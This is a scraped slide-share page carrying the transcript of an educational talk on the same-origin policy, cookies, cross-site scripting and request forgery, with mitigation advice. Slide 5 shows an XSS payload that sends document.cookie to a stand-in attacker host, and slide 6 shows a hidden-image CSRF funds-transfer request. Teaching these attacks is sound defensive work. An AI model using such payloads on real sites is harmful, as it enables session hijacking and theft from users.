1 / 8

Origins, Cookies and Security – Oh My!

Origins, Cookies and Security – Oh My!. John Kemp, Nokia Mobile Solutions. What is the “Same-Origin Policy”?. That a document or script loaded from one Web origin may not manipulate properties of, or communicate with, a document loaded from another Web origin.

matsu
Download Presentation

Origins, Cookies and Security – Oh My!

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Origins, Cookies and Security – Oh My! John Kemp, Nokia Mobile Solutions

  2. What is the “Same-Origin Policy”? • That a document or script loaded from one Web origin may not manipulate properties of, or communicate with, a document loaded from another Web origin. • Server-side security enforced by a client (Web browser!) • Scheme, hostand port are considered a unique origin • Doesn’t restrict a document from having HTML elements which call items from other origins (<img…>, <script src…>) • Everyone wants to break it (see <script src>, JSONP, CORS)

  3. Why same-origin policy? • Netscape 2.0 implemented cookies • HTTP Authentication • Cookies created a session state mechanism for HTTP • HTTP authentication created a login session state for HTTP • One site can cause this state to be sent to another site

  4. Problems with same-origin policy • Impersonation of a legitimate user (via cookie, HTTP credentials) • Impersonation of a legitimate site (by Referer HTTP header, for example) Leading to... • Cross-site scripting • Cross-site request forgery • …and generally bad things for the user, victim site

  5. Cross-site scripting • Web app code: (String) page += "〈input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'〉”; • Attacker changes “CC” value to: '〉〈script〉document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'. • All your session are belong to us!!!

  6. Cross-site Request Forgery • Victim site has a public state-changing URL: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 • Attacker makes a call to that URL inside an innocuous image load: 〈imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /〉 • All yr money are belong to us!!!

  7. Some solutions • Never, ever trust a client! • Don’t rely solely on cookies or the Referer HTTP header for authentication (for example, use CSRF tokens) • Validate input supplied by the requesting user/site • Encode input supplied by a requesting user/site • Don’t write your own code (use OWASP ESAPI where possible!)

  8. More attacks, more information • SOP - http://taossa.com/index.php/2007/02/08/same-origin-policy/ • CORS, UMP, XHR - http://www.w3.org/2001/tag/2010/06/01-cross-domain.html • OWASP – http://www.owasp.org • OWASP Top 10 - http://www.owasp.org/index.php/Top_10_2010-Main • OWASP ESAPI - http://owasp-esapi-java.googlecode.com

More Related